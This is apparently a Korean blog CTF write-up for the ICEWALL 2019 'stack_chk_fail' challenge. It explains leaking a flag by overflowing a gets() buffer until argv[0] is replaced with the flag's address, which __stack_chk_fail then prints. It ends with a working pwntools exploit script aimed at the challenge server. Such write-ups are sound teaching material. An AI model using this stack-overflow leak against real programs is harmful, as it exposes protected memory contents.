본문으로 바로가기

[System] stack_chk_fail / 300

category ICEWALL 2019. 7. 19. 23:20

Download: vuln

 

64bit ELF, 보호기법이 꾹꾹 채워져있다.

IDA로 분석해보면 바로 눈에 들어오는, exploitable 한 특이점은 보이지 않는다. gets 함수로 BOF 공격이 가능하나 SSP가 걸려있어 ROP를 수행하려면 canary leak을 해야 하는데, leak을 하기 위한 코드도 보이지 않는다.

 

하지만 한 가지 눈여겨 볼 점이 있다. readFlag 함수를 살펴보면, 일단 파일에서 flag를 읽어 프로그램 어딘가의 메모리 (0x601060)에 적재시킨다는 점이다.

 

canary가 변조되는 경우 (xor rcx, fx:0x28; 후 ZF가 set 되지 않는 경우) __stack_chk_fail을 call 해 프로그램을 종료시킨다. main에서 이미 힌트를 주고 있는데, 위의 decompile 된 main 함수의 13번째 줄을 보면 *argv를 넘기면서 어떤 특정 메모리의 값을 넘겨준다는 점이다.

 

stack_chk_fail의 구조를 살펴보면, 다음과 같다.

 

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}



void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */

  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

__fortify_fail은 argv[0]을 인자로 쓴다는 점을 알 수 있고, 이 값은 스택 저 밑의 어딘가에 있을 것이다. 만약 입력의 크기를 매우 늘리면, 이 함수가 차지하는 stack 영역 역시 corrupt 되면서 stack smashing detected 메시지조차 출력되지 않는 시점이 올 것이다.

 

Bisection Method로 적절한 dummy bytes의 크기를 구하고, 끝에 flag의 주소 0x601060을 써서 flag 값을 leak 하면 된다.

 

from pwn import *
import sys

if len(sys.argv) == 1 :
	p = process('./vuln')
else :
	p = connect('icewall-ctf.kr', 10206)

# Addr
flag = 0x601060

payload = 'A'*0x108
payload += p64(flag)

p.sendlineafter('?\n', payload)
print p.recvline()

p.interactive()

 

[Reference]

https://github.com/ctfs/write-ups-2015/tree/master/ekoparty-pre-ctf-2015/pwn/smashing-the-stack-for-fun-and-profit

'ICEWALL' 카테고리의 다른 글

[System] note / 450  (0) 2019.07.20
[System] babyheap / 400  (0) 2019.07.20
[System] libc_leak / 250  (0) 2019.07.19
[System] typing_practice / 200  (0) 2019.07.19
[System] fsb32 / 150  (0) 2019.07.19